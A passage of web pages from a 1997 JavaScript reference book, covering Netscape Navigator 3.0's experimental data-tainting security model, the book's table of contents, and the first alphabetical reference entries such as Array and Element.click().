This is where the concept of data tainting comes in. The idea is that all JavaScript data values are given a flag. This flag indicates if the value is "tainted" (private) or not. Tainted values will be allowed to be exported only in certain very restricted ways. Untainted values can be exported arbitrarily. But any value, regardless of taint, can be manipulated by the program, which is a big improvement over the heavy-handed measures required by the hobbling approach. As the term "tainted" implies, any data derived from tainted data will itself be tainted. If a tainted string is added to a non-tainted string, the resulting string is tainted. If a tainted value is passed to a function, then the return value of the function is tainted. If a string is tainted, then any substring of the string is also tainted.

Theoretically, the data-tainting model is a strong one, and it has been proven practical in the Perl programming language. With a careful and rigorous implementation of tainting, Navigator will be able to prevent private data, or any modified version of private data from being incorrectly exported by a JavaScript program. Because data tainting is a uniform security model that covers all possible exports of data, we can also trust its security much further than we would trust the "identify a hole and patch it with a hobble" model.

Data Tainting in JavaScript

To really understand the data-tainting security model in JavaScript, you must understand what the taint flag indicates. In fact, this "flag" is better described as an "accumulator" because there are many possible types of taint, and any value can be tainted in more than one way. Entries in the history array, for example, are tainted in a way that indicates "this is private data and must not be exported in any way." On the other hand, in a document loaded from server.xyz.com data values in an HTML form are tainted in a way that indicates "this data belongs to server.xyz.com, and it must not be exported anywhere except to that server". When taint propagates from a tainted value to a derived value, this meaning propagates with it, of course.

As we can see, tainting does not prevent all tainted data from being exported; it merely prevents it from being exported to a server that does not already "own" it. Furthermore, tainting does not even absolutely prevent data from being sent where it shouldn't be; it only prevents it from automatically being sent there. Whenever an attempt to export data violates the tainting rules, the user will be prompted with a dialog box asking them whether the export should be allowed. If they so choose, they can allow the export.

Consider how this might work. If a malicious script tries to export the URLs contained in the History object, JavaScript will see that these values are tainted in a way that does not allow them to be exported in any way, and will not allow the export. On the other hand, when a web page contains an HTML form, the user input values will be tainted in such a way that allows them to be exported back to the server form which the form was loaded. But if a malicious script running in another window attempts to spy on that HTML form and makes copies of the user's input, those copied values will still carry a taint value that identifies them as belonging to their original server. If the malicious scripts attempts to export them to its own malicious server, the attempt will fail because the taint values indicate that that server does not own that data.

It is not only data values that can carry taint. JavaScript functions and methods can carry taint as well. If a function or method is tainted, then its return value will automatically be tainted, regardless of the taintedness of its arguments. For example, the toString() method of the Location object and of the Text and Textarea objects are tainted because these methods return data that is private.

Functions are actually just another datatype in JavaScript, so it is not surprising that they can carry taint. What is surprising is that JavaScript programs themselves can become tainted. If a tainted value is used in an expression that is tested as part of an if, while or for statement, then the script itself must carry taint. If not, it would be easy to "launder" taint from a value with code like the following:

// b is a tainted Boolean value that we want to export
if (b == true) newb = true;
else newb = false;
// Now newb has the same value as b, but is not tainted, so we could
// export it if this script itself did not become tainted in the process.
When a script becomes tainted, the window that contains it "accumulates" the same taint values, with the same meanings, that data values do. If a window carries taint, it will not be allowed to export data to a server unless the script's taint code and the data's taint code both indicate that they belong to the server.

In addition to understanding the different types of taint that are possible, you should also understand just what is meant by "exporting" data. In general terms, this means sending data over the Net. In practical terms, it occurs when a form is submitted in any way, or when a new URL is requested in any way. It is obvious that form submission exports data, but is less obvious that requesting a new document exports data. Bear in mind though that arbitrary data can be encoded into a URL following a question mark or hash sign (#). Also, the file and path of a URL can encode information.

While the data-tainting model is relatively straightforward on the surface, a working implementation requires careful attention to detail. JavaScript propagates taint through the strings of code passed to the eval() and setTimeout() functions, for example, so that you cannot untaint a value simply by converting it to a string of JavaScript code and executing that code later. Similarly, JavaScript propagates taint through the document.write() method so that a script can't launder tainted values by writing them out into a new script in a new window. For the same reason, JavaScript propagates taint through javascript: URLs, and prevents tainted strings from being stored in cookies. JavaScript also prevents data from being laundered through LiveConnect. In Navigator 3.0, this happens in a heavy-handed way: all data retrieved from Java is automatically tainted.

Enabling Data Tainting in Navigator 3.0

As noted above, the data-tainting security model is experimental in Navigator 3.0, and is not enabled by default. It is expected to be the default security model in version 4.0 of Navigator, however. If you want to try using data tainting with Navigator 3.0, you must enable it by setting an environment variable before starting Navigator. On Unix systems, do this with the following command in csh:

setenv NS_ENABLE_TAINT 1
On Windows platforms, enable taint with a set command in the autoexec.bat file or in NT user settings:

set NS_ENABLE_TAINT=1
And on the Macintosh, use the resource editor to edit the resource with type "Envi" and number 128 in the Netscape application. Modify this resource by removing the two slashes (//) before the NS_ENABLE_TAINT at the end of the string.

Note that if you enable this security model, you may find that many more scripts than you expect produce taint violations, and you'll spend a lot of time responding to dialogs that ask you to confirm form submissions or new page requests. One of the main reasons that tainting was not enabled in Navigator 3.0 was that the user interface to support it well was not yet ready. Thus, for Navigator 4.0, we can hope to see a smoother UI that does not ask as many questions.

Values Tainted by Default

Table 20.1 lists the object properties and methods that are tainted by default. The taint() and untaint() functions that will be introduced below allow you to modify these defaults.

Table 20.1: JavaScript Properties and Methods That Are Tainted by Default
Object Tainted Properties and Methods

Document

cookie, domain, forms[], lastModified, links[], location, referrer, title, URL

Form

action

All Form input elements: Button, Checkbox, FileUpload, Hidden, Password, Radio, Reset, Select, Submit, Text, Textarea

checked, defaultChecked, defaultValue, name, selectedIndex, toString(), value

History

current, next, previous, toString(), all array elements[1]

Location, Link, Area

hash, host, hostname, href, pathname, port, protocol, search, toString()

Option

defaultSelected, selected, text, value

Window

defaultStatus, status

Footnotes:

[1] Note that History properties belong to the browser, not the server, and thus have a different taint value.

The taint() and untaint() Functions

Table 20.1 shows the object properties and methods that are tainted by default in Navigator 3.0. This list is not the final word on tainting. If a script would like to prevent other data it owns from being exported, it may taint that data with the taint() method. Similarly, if a script would like to relax the data-tainting rules in order to allow information it owns to be exported more freely, it can remove its taint from a value with the untaint() method.

There are some important things to note about these functions. First, both taint() and untaint() return a tainted or untainted copy of primitive vales or a tainted or untainted reference to objects and arrays. In JavaScript, taint is carried by references to objects, not by the objects themselves. So when you untaint an object, what you are really doing is untainting a reference to that object, not the object itself. The object's value may be exported through the untainted reference but not through the tainted reference.

The second point to note is that a script can use untaint() only to remove its own taint from a value. If a value X carries taint that identifies it as owned by server A, then a script running in a document from server B may call untaint() on value X but will not succeed in removing server A's taint, and will not be able to export that value to server B.

Finally, if taint() and untaint() are called with no argument, then they add and remove taint from the script rather than from a particular object. Again, a script can only remove its own taint from itself: if a script from server A has tainted itself by examining tainted data owned by server B, then server A cannot remove that taint from itself.

Previous | Home | Next
The domain Property | Book Index | JavaScript Reference
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


JavaScript: The Definitive Guide

JavaScript: The Definitive Guide
By David Flannagan; ISBN: 1-56592-235-2, 637 pages.
Second Edition, January 1997

Table of Contents

Preface
Chapter 1: Introduction to JavaScript

Part I: Core JavaScript

This part of the book, Chapters 2 through 9, documents the core JavaScript language, as it is used in web browsers, web servers, and even in standalone JavaScript implementations. This part is a JavaScript language reference, and after you read through it once to learn the language, you may find yourself referring to it to refresh your memory about some of the trickier points.

Chapter 2: Lexical Structure
Chapter 3: Variables and Data Types
Chapter 4: Expressions and Operators
Chapter 5: Statements
Chapter 6: Functions
Chapter 7: Objects
Chapter 8: Arrays
Chapter 9: Further Topics in JavaScript

Part II: Client-Side JavaScript

This part of the book, Chapters 10 through 20, documents JavaScript as it is implemented in web browsers. These chapters introduce a host of new JavaScript objects which represent the web browser and the contents of HTML documents. There are quite a few examples showing typical uses of these new objects. You will find it helpful to study these examples carefully.

Chapter 10: Client-Side Program Structure
Chapter 11: Windows and the JavaScript Name Space
Chapter 12: Programming with Windows
Chapter 13: The Navigator, Location, and History Objects
Chapter 14: Documents and Their Contents
Chapter 15: Saving State with Cookies
Chapter 16: Special Effects with Images
Chapter 17: Forms and Form Elements
Chapter 18: Compatibility Techniques
Chapter 19: LiveConnect: JavaScript and Java
Chapter 20: JavaScript Security

Part III: Reference

This part of the book is a complete reference to all of the objects, properties, functions, methods, and event handlers in client-side JavaScript and in the core JavaScript language. The first few pages of this part explain how to use this reference and provide a table of contents for it.

JavaScript Reference Pages

Part IV: Appendices

This part summarizes the differences between JavaScript in versions of Netscape Navigator, as well as the differences in the version of JavaScript implemented in Microsoft Internet Explorer. It also contains a list of known JavaScript bugs, the Netscape specification for Internet "cookies," and other important details useful to the serious JavaScript programmer.

Appendix A: JavaScript Resources on the Internet
Appendix B: Known Bugs
Appendix C: Differences between Navigator 2.0 and 3.0
Appendix D: JavaScript Incompatibilities in Internet Explorer 3.0
Appendix E: A Preview of Navigator 4.0
Appendix F: Persistent Client State:HTTP Cookies
Appendix G: JavaScript and HTML Color Names and Values
Appendix H: LiveConnected Navigator Plug-Ins

Index
Examples - Warning: this directory includes long filenames which may confuse some older operating systems (notably Windows 3.1).

Search the text of JavaScript: The Definitive Guide.

Web Reference Library HTML: The Definitive Guide CGI Programming on the World Wide Web Programming Perl WebMaster in a Nutshell

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


[Chapter 21] JavaScript Reference

JavaScript: The Definitive Guide

Previous Chapter 21 Next

21. JavaScript Reference

Contents:

Select a new section and then directly to it:

This section of the book is a complete reference for all JavaScript objects, properties, constants, arrays, functions, methods, and event handlers. It even includes documentation for the Java class netscape.javascript.JSObject, which is used by LiveConnect to allow Java applets to communicate with JavaScript.

21.1 How to Find the Reference Page You Want

The reference section is arranged alphabetically, and all properties, methods, and event handlers are alphabetized by their full name, which includes the name of the object of which they are a part. For example, if you want to read about the write() method of the Document object, look up "Document.write", not just "write".

JavaScript defines some global variables, such as navigator and Packages, which, strictly speaking, are properties of the Window object. They are never used this way, however, and so these few "globals" are alphabetized without the "Window." prefix. Note, however that other properties, methods, and event handlers of the Window object, such as location, alert(), and onload() are documented as part of the Window object. Thus you should look these up as "Window.location", "Window.alert()", and "Window.onload()".

Sometimes you may need to look up a method or property without knowing what object it is part of. Or you may not be able to find a reference page where you expect it. The table of contents that follows will help you with this. The left column lists the names of all objects, functions, properties, methods, and event handlers in JavaScript, and the right column gives the full name of the reference page on which documentation can be found. Note that some property, method, and event-handler names are used by more than one object. So, for example, if you look up the toString() method in the table, you find several reference pages that document different objects' implementations of that method.

Previous | Home | Next
The Data-Tainting Security Model | Book Index | Table of Contents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] 21.2 Table of Contents

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

21.2 Table of Contents

For | See
abs() | Math.abs()
acos() | Math.acos()
action | Form.action
alert() | Window.alert()
alinkColor | Document.alinkColor
Anchor | Anchor
anchor() | String.anchor()
anchors[] | Document.anchors[]
appCodeName | Navigator.appCodeName
applets[] | Document.applets[]
appName | Navigator.appName
appVersion | Navigator.appVersion
Area | Area
arguments[] | Function.arguments[]
Array | Array
asin() | Math.asin()
assign() | Object.assign()
atan() | Math.atan()
atan2() | Math.atan2()
back() | History.back()
bgColor | Document.bgColor
big() | String.big()
blink() | String.blink()
blur() | Element.blur()
 | Window.blur()
bold() | String.bold()
Boolean | Boolean
border | Image.border
Button | Button
call() | JSObject.call()
caller | Function.caller
ceil() | Math.ceil()
charAt() | String.charAt()
Checkbox | Checkbox
checked | Checkbox.checked
 | Element.checked
 | Radio.checked
clear() | Document.clear()
clearTimeout() | Window.clearTimeout()
click() | Element.click()
close() | Document.close()
 | Window.close()
closed | Window.closed
complete | Image.complete
confirm() | Window.confirm()
constructor | Object.constructor
cookie | Document.cookie
cos() | Math.cos()
current | History.current
Date | Date
defaultChecked | Checkbox.defaultChecked
 | Element.defaultChecked
 | Radio.defaultChecked
defaultSelected | Option.defaultSelected
defaultStatus | Window.defaultStatus
defaultValue | Element.defaultValue
description | MimeType.description
 | Plugin.description
Document | Document
document | Window.document
domain | Document.domain
E | Math.E
Element | Element
elements[] | Form.elements[]
embeds[] | Document.embeds[]
enabledPlugin | MimeType.enabledPlugin
encoding | Form.encoding
escape() | escape()
eval() | JSObject.eval()
 | Object.eval()
 | eval()
exp() | Math.exp()
fgColor | Document.fgColor
filename | Plugin.filename
FileUpload | FileUpload
fixed() | String.fixed()
floor() | Math.floor()
focus() | Element.focus()
 | Window.focus()
fontcolor() | String.fontcolor()
fontsize() | String.fontsize()
Form | Form
form | Element.form
forms[] | Document.forms[]
forward() | History.forward()
Frame | Frame
frames[] | Window.frames[]
Function | Function
getClass() | getClass()
getDate() | Date.getDate()
getDay() | Date.getDay()
getHours() | Date.getHours()
getMember() | JSObject.getMember()
getMinutes() | Date.getMinutes()
getMonth() | Date.getMonth()
getSeconds() | Date.getSeconds()
getSlot() | JSObject.getSlot()
getTime() | Date.getTime()
getTimezoneOffset() | Date.getTimezoneOffset()
getWindow() | JSObject.getWindow()
getYear() | Date.getYear()
go() | History.go()
hash | URL.hash
height | Image.height
Hidden | Hidden
History | History
history | Window.history
host | URL.host
hostname | URL.hostname
href | URL.href
hspace | Image.hspace
Image | Image
images[] | Document.images[]
index | Option.index
indexOf() | String.indexOf()
isNaN() | isNaN()
italics() | String.italics()
java | Packages.java
 | java
JavaArray | JavaArray
JavaClass | JavaClass
javaEnabled() | Navigator.javaEnabled()
JavaMethod | JavaMethod
JavaObject | JavaObject
JavaPackage | JavaPackage
join() | Array.join()
JSObject | JSObject
lastIndexOf() | String.lastIndexOf()
lastModified | Document.lastModified
length | Array.length
 | History.length
 | JavaArray.length
 | Select.length
 | String.length
 | Window.length
Link | Link
link() | String.link()
linkColor | Document.linkColor
links[] | Document.links[]
LN10 | Math.LN10
LN2 | Math.LN2
Location | Location
location | Document.location
 | Window.location
log() | Math.log()
LOG10E | Math.LOG10E
LOG2E | Math.LOG2E
lowsrc | Image.lowsrc
Math | Math
max() | Math.max()
MAX_VALUE | Number.MAX_VALUE
method | Form.method
MimeType | MimeType
mimeTypes[] | Navigator.mimeTypes[]
min() | Math.min()
MIN_VALUE | Number.MIN_VALUE
name | Element.name
 | Image.name
 | Plugin.name
 | Window.name
NaN | Number.NaN
navigate() | Window.navigate()
Navigator | Navigator
navigator | navigator
NEGATIVE_INFINITY | Number.NEGATIVE_INFINITY
netscape | Packages.netscape
 | netscape
next | History.next
Number | Number
Object | Object
onabort() | Image.onabort()
onblur() | Element.onblur()
 | Window.onblur()
onchange() | Element.onchange()
 | FileUpload.onchange()
 | Password.onchange()
 | Select.onchange()
 | Text.onchange()
 | Textarea.onchange()
onclick() | Button.onclick()
 | Checkbox.onclick()
 | Element.onclick()
 | Link.onclick()
 | Radio.onclick()
 | Reset.onclick()
 | Submit.onclick()
onerror() | Image.onerror()
 | Window.onerror()
onfocus() | Element.onfocus()
 | Window.onfocus()
onload() | Image.onload()
 | Window.onload()
onmouseout() | Link.onmouseout()
onmouseover() | Link.onmouseover()
onreset() | Form.onreset()
onsubmit() | Form.onsubmit()
onunload() | Window.onunload()
open() | Document.open()
 | Window.open()
opener | Window.opener
Option | Option
options[] | Select.options[]
Packages | Packages
parent | Window.parent
parse() | Date.parse()
parseFloat() | parseFloat()
parseInt() | parseInt()
Password | Password
pathname | URL.pathname
PI | Math.PI
Plugin | Plugin
plugins | Document.plugins
plugins[] | Navigator.plugins[]
port | URL.port
POSITIVE_INFINITY | Number.POSITIVE_INFINITY
pow() | Math.pow()
previous | History.previous
prompt() | Window.prompt()
protocol | URL.protocol
prototype | Function.prototype
Radio | Radio
random() | Math.random()
referrer | Document.referrer
refresh() | Navigator.plugins.refresh()
reload() | Location.reload()
removeMember() | JSObject.removeMember()
replace() | Location.replace()
Reset | Reset
reset() | Form.reset()
reverse() | Array.reverse()
round() | Math.round()
scroll() | Window.scroll()
search | URL.search
Select | Select
select() | Element.select()
selected | Option.selected
selectedIndex | Select.selectedIndex
self | Window.self
setDate() | Date.setDate()
setHours() | Date.setHours()
setMember() | JSObject.setMember()
setMinutes() | Date.setMinutes()
setMonth() | Date.setMonth()
setSeconds() | Date.setSeconds()
setSlot() | JSObject.setSlot()
setTime() | Date.setTime()
setTimeout() | Window.setTimeout()
setYear() | Date.setYear()
sin() | Math.sin()
small() | String.small()
sort() | Array.sort()
split() | String.split()
sqrt() | Math.sqrt()
SQRT1_2 | Math.SQRT1_2
SQRT2 | Math.SQRT2
src | Image.src
status | Window.status
strike() | String.strike()
String | String
sub() | String.sub()
Submit | Submit
submit() | Form.submit()
substring() | String.substring()
suffixes | MimeType.suffixes
sun | Packages.sun
 | sun
sup() | String.sup()
taint() | taint()
taintEnabled() | Navigator.taintEnabled()
tan() | Math.tan()
target | Form.target
 | Link.target
Text | Text
text | Option.text
Textarea | Textarea
title | Document.title
toGMTString() | Date.toGMTString()
toLocaleString() | Date.toLocaleString()
toLowerCase() | String.toLowerCase()
top | Window.top
toString() | Boolean.toString()
 | Function.toString()
 | JSObject.toString()
 | Number.toString()
 | Object.toString()
toUpperCase() | String.toUpperCase()
type | Element.type
 | MimeType.type
 | Select.type
unescape() | unescape()
untaint() | untaint()
URL | Document.URL
 | URL
userAgent | Navigator.userAgent
UTC() | Date.UTC()
value | Button.value
 | Checkbox.value
 | Element.value
 | FileUpload.value
 | Hidden.value
 | Option.value
 | Password.value
 | Radio.value
 | Reset.value
 | Submit.value
 | Text.value
 | Textarea.value
valueOf() | Object.valueOf()
vlinkColor | Document.vlinkColor
vspace | Image.vspace
width | Image.width
Window | Window
window | Window.window
write() | Document.write()
writeln() | Document.writeln()

Previous | Home | Next
How to Find the Reference Page You Want | Book Index | How to Read the Reference Pages
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] 21.3 How to Read the Reference Pages

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

21.3 How to Read the Reference Pages

Once you've found the reference page you're looking for, you shouldn't have much difficulty obtaining the information you need from it. Still, however, you'll be able to make better use of this reference section if you understand how the reference pages are written and organized. The very first reference page is titled "Sample Entry"; it explains the structure of each reference pages and tells you where to find various types of information within the pages. Do be sure to read this page before diving in to the reference section.

Previous | Home | Next
Table of Contents | Book Index | Sample Entry
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Introduction

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Sample Entry

Name

Sample Entry--- how to read these reference pages

Title and Description

Every reference page begins with a title and one-line description like those above. They are useful to help you find the page you are looking for. The title usually consists of two words. The first is the name of the reference page, and the second is the type of reference page. For example, the reference page for the Date object is titled "Date Object". The reference page for the getDay() method of the Date object is "Date.getDay() Method". Similarly, the title of the reference page for the frames[] array property of the Window object is "Window.frames[] Property". The title of the page documenting the Button element of an HTML form is "Button Element", and you'll also find reference pages with titles that include the types "Function" (functions that are not methods), "Handler" (event handlers) and "Constant" (read-only properties that always have the same value).

Availability

Because slightly different versions of JavaScript run on Navigator 2.0 and 3.0 and on Internet Explorer 3.0, each reference page begins with an "Availability" section. This section specifies exactly which platforms the object, method, property, function, or event handler is available on. You can assume that anything available in one version of a browser is also available in later versions. For example, an objects available in Navigator 2.0 is also available in Navigator 3.0. Similarly, you can assume that methods, properties, etc., that are available in Navigator 3.0 and Internet Explorer 3.0 will also be available in Navigator 4.0 and Internet Explorer 4.0.

The availability section will occasionally note other things as well. If something is particularly buggy, or if it is deprecated (i.e., if its use is discouraged), that will be noted in this section as well.

Synopsis

The next section of every page is a synopsis of how you use the object, method, property, function, or event handler in your actual code. For example, the synopsis for the Form object is:

document.form_name
document.forms[form_number]
This synopsis shows two different ways of referring to a Form object. The italic font indicates text that is to be replaced with something else. form_name would be replaced with the name of a form, and form_number would be replaced with the index of the form in the forms[] array. Similarly, document would be replaced in these synopses with a reference to a Document object. By looking up the synopsis of the Document object, we discover that it also has two forms:

document
window.document
That is, we can replace document with the literal document, or with window.document. If we choose the latter, then we'll need to look up the Synopsis of the Window object to find out how to refer to a Window--that is, to find out what to replace window with.

Arguments

If the reference page describes a function or method, then the Synopsis is followed by an Arguments subsection, which describes the arguments to the function or method. For some object types, such as the Date object, the Synopsis section is replaced by a "Constructor" section. The Constructor section is also followed by this Arguments subsection.

arg1

The arguments are described in a list here. This is the description for argument arg1, for example.

arg2

And this is the description for argument arg2.

Returns

Because functions, methods, and constructors have return values as well as arguments, the Arguments subsection is followed by a Returns subsection, which explain the return value of the function, method, or constructor.

Properties

If the reference page documents an object, then the Properties section lists the properties the object supports, and provides short explanations of each. Each property will also have a complete reference page of its own. For example, the reference page for the Document object lists the lastModified property in this section, and gives a brief explanation of it. But the property is fully documented in the Document.lastModified reference page. The property listing looks like this:

prop1

This is a summary of property prop1, including the type of the property, its purpose or meaning, and whether it is read-only or read/write.

prop2

This is the same for prop2.

Methods

Reference pages for objects that define methods include a Methods section. It is just like the Properties section, except that it documents methods instead of properties.

Event Handlers

Some objects define event handlers in addition to properties and methods. They are listed and briefly described in this section.

HTML Syntax

A number of JavaScript objects have analogs in HTML. The reference pages for these objects include a section that shows the annotated HTML syntax that is used to create one of the JavaScript objects. For example, the reference page for the Button form element has the following in its "HTML Syntax" section:

<INPUT
  TYPE="button" specifies that this is a button
  VALUE="label"   the text that is to appear within the button
    specifies the value property
  [ NAME="name" ] a name that can later be used to refer to the button
    specifies the name property
  [ onClick="handler" ]   JavaScript statements to be executed when the button is clicked
>

Description

Each reference page contains a section named "Description." This is the basic description of whatever it is that is being documented, the heart of the reference page. Unfortunately, on some of the more complex pages you have to read through quite a bit of synopsis, syntax, and lists of properties, methods, and event handlers before you get to it.

For some pages this section is no more than a short paragraph. On others it may occupy a page or more.

Usage

Some pages have a Usage section in addition to the Description section. When this section appears, be sure to pay attention to it. It describes common techniques for using the function, object, property or whatever, or it contains cautions that you should be aware of when using it.

Example

Some pages follow the Description and Usage information with an example showing a typical usage. Most pages do not contain examples--you'll find those in the main body of the text instead.

Bugs

When the topic of the page doesn't work quite right, this section describes the bugs. Appendix B, Known Bugs also contains a complete listing of common JavaScript bugs.

See Also

Finally, every reference page concludes with cross-references to related reference pages that may be of interest. Sometimes reference pages also refer back to one of the main chapters of the book.

Previous | Home | Next
How to Read the Reference Pages | Book Index | alert()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: alert()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

alert() Method

Name

alert() Method---see "Window.alert()"

Previous | Home | Next
Introduction | Book Index | Anchor
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Anchor

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Anchor Object

Name

Anchor Object---the target of a hypertext link

Availability

Implemented but nonfunctional in Navigator 2.0, 3.0, and Internet Explorer 3.0

Synopsis

document.anchors.length
document.anchors[i]

HTML Syntax

An Anchor object is created by any standard HTML <A> tag that contains a <NAME> attribute:

<A
  NAME="anchor_name"  links may refer to this anchor by this name
  [ HREF=URL ]    an anchor may also be a link
  [ TARGET="window_name" ]    links may refer to other windows
>
link text
</A>

Description

An "anchor" is a named location within an HTML document. Anchors are created with the NAME attribute of the <A> tag. The JavaScript Document object has an anchors[] array property that should contain references to each of the anchors in the document. Unfortunately, in Navigator 2.0 and 3.0 and in Internet Explorer 3.0, the elements of this array always contain null. The problem is that the Anchor object has not yet been implemented. A future version of the language should contain an actual working Anchor object, and the anchors[] array will be filled in with references to appropriate Anchor objects.

Note that the <A> tag used to create anchors is also used to create hypertext links. Although hypertext links are often called "anchors" in HTML parlance, they are represented in JavaScript with the Link object, not with the Anchor object.

See Also

"Document.anchors[]", "Link"

Previous | Home | Next
alert() | Book Index | Applet
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Applet

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Applet Object

Name

Applet Object---see "Document.applets[]" and "JavaObject"

Previous | Home | Next
Anchor | Book Index | Area
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Area

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Area Object

Name

Area Object---a hypertext link in a client-side image map

Availability

Navigator 3.0

Synopsis

document.links[]
document.links.length

HTML Syntax

An Area object is created by an <AREA> tag within a client-side image map:

<MAP NAME="map_name">
    <AREA SHAPE="area_shape"
        COORDS=coordinates
        HREF="url"    the destination of the link
        [ TARGET="window_name" ]  where the new document should be displayed
        [ onClick="handler" ] invoked when area is clicked
        [ onMouseOver="handler" ] invoked when mouse is over area
        [ onMouseOut="handler" ]  invoked when mouse leaves area
>
    ...
</MAP>

Description

The Area object represents a hypertext link created with the <AREA> tag within a client-side image map. JavaScript does not distinguish between hypertext links created with the <AREA> tag and those created with the <A> tag, however, and the Area object is actually the same thing as the Link object. All hypertext links, regardless of what HTML tag creates them, are represented by Link objects stored in the links[] array of the Document object that contains them.

There are only two differences between hypertext links created with the <AREA> tag and those created with the <A> tag. The first is that links in image maps are not recognized by Navigator 2.0 and Internet Explorer--those browsers only recognize links created with the <A> tag. The second difference is simply a bug: the onClick() event handler of the <AREA> tag doesn't work on Windows platforms in Navigator 3.0.

See Link for a listing and description of the properties and event handlers of hypertext links.

See Also

"Link", "Location", "URL"

Previous | Home | Next
Applet | Book Index | Array
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Array

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Array Object

Name

Array Object---built-in support for arrays

Availability

Navigator 3.0, Internet Explorer 3.0; arrays are available in Navigator 2.0, but the Array object class that supports them is not.

Constructor

new Array()
new Array(size)
new Array(element0, element1, ..., elementn)

Arguments

size

The desired number of elements in the array. The returned array will have its length field set to size.

element0, ...elementn

An argument list of two or more arbitrary values. When the Array() constructor is invoked with these arguments, the newly created array will be initialized with the specified argument values as its elements, and its length field set to the number of arguments.

Returns

The newly created and initialized array. When Array() is invoked with no arguments, the returned array will have a length field of 0.

Properties

length

A read/write integer specifying the number of elements in the array, or, when the array does not have contiguous elements, a number one larger than the index of the last element in the array.

Methods

join

Convert all array elements to strings and concatenate them.

reverse

Reverse, in place, the order of the elements of an array.

sort

Sort, in place, the elements of an array.

Description

Arrays are a basic syntactic feature of JavaScript. All JavaScript objects, regardless of their type, may be used as arrays. The dual nature of arrays and objects is discussed in Chapter 8, Arrays, along with full details on the JavaScript syntax for reading and setting array elements.

The Array is a new object type, added in Navigator 3.0, which, along with the usual array capabilities that all JavaScript objects have, also provides additional array functionality: a constructor function for initializing arrays, an automatically updated length field that stores the size of the array, and join(), reverse(), and sort() methods that manipulate the elements of an array. See the individual reference pages for details.

See Also

"Object", Chapter 8, Arrays

Previous | Home | Next
Area | Book Index | Array.join()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Array.join()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Array.join() Method

Name

Array.join() Method---concatenate the elements of an array

Availability

Navigator 3.0

Synopsis

array.join()
array.join(separator)

Arguments

separator

An optional character or string used to separate one element of the array from the next in the returned string. If this argument is omitted, the empty string is used.

Returns

The string that results from converting each element of array to a string, and then concatenating them together, with the separator string between elements.

Description

join() converts each of the elements of an array to a string, and then concatenates those strings, inserting the specified separator string between the elements. It returns the resulting string.

Usage

You can perform the opposite direction--split a string up into array elements--with the split() method of the String object.

Example

a = new Array(1, 2, 3, "testing");
s = a.join("+");    s is the string "1+2+3+testing"

See Also

"Array", "String.split()"

Previous | Home | Next
Array | Book Index | Array.length
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.click()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.click() Method

Name

Element.click() Method---simulate a mouse click on a form element

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.click()

Arguments

none

Returns

nothing

Description

The click() method of a form element simulates a mouse click on the form element, but does not invoke the onclick() event handler of the element.

The click() method is not often useful. Because it does not invoke the onClick() event handler, it is not useful to call this method on Button elements--they don't have any behavior other than that defined by the onClick() handler. Calling click() on a Submit or Reset element will submit or reset a form, but this can be more directly achieved with the submit() and reset() method of the Form object itself.

You can call click() on Radio and Checkbox elements to check or uncheck those buttons, but it is generally easier to simply set the checked property of those elements. Furthermore, click() does not work for these elements in Navigator 2.0 or 3.0 on Unix platforms.

On Windows (but not Unix) platforms, you can even call click() for Select elements, but doing so does not accomplish much. For Select objects implemented as drop-down menus, for example click() will cause the menu to drop down, but does not actually select an item from the menu. It is poor user-interface design to do this sort of thing--the user should always be in control of the form elements.

Finally, the click() method is not defined for the text input form elements: Text, Textarea, Password and FileUpload.

See Also

"Element"

Previous | Home | Next
Element.checked | Book Index | Element.defaultChecked
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.defaultChecked

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Element.defaultChecked Property

Name

Element.defaultChecked Property--- a Checkbox or Radio element's default status

Availability

Navigator 2.0, Internet Explorer 3.0

Synopsis

element.defaultChecked

Description

The defaultChecked property is a read-only Boolean value that specifies whether a Checkbox or Radio element is checked by default. This property has no meaning for other form elements. This property corresponds to the CHECKED attribute in the HTML <INPUT> tag that created the form element. If CHECKED was present then defaultChecked will be true. Otherwise, defaultChecked will be false.

The defaultChecked property is used to restore the Checkbox or Radio element to its default value when the form is reset.

See Also

"Checkbox", "Element", "Radio"

Previous | Home | Next
Element.click() | Book Index | Element.defaultValue
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Element.defaultValue

JavaScript: The Definitive Guide

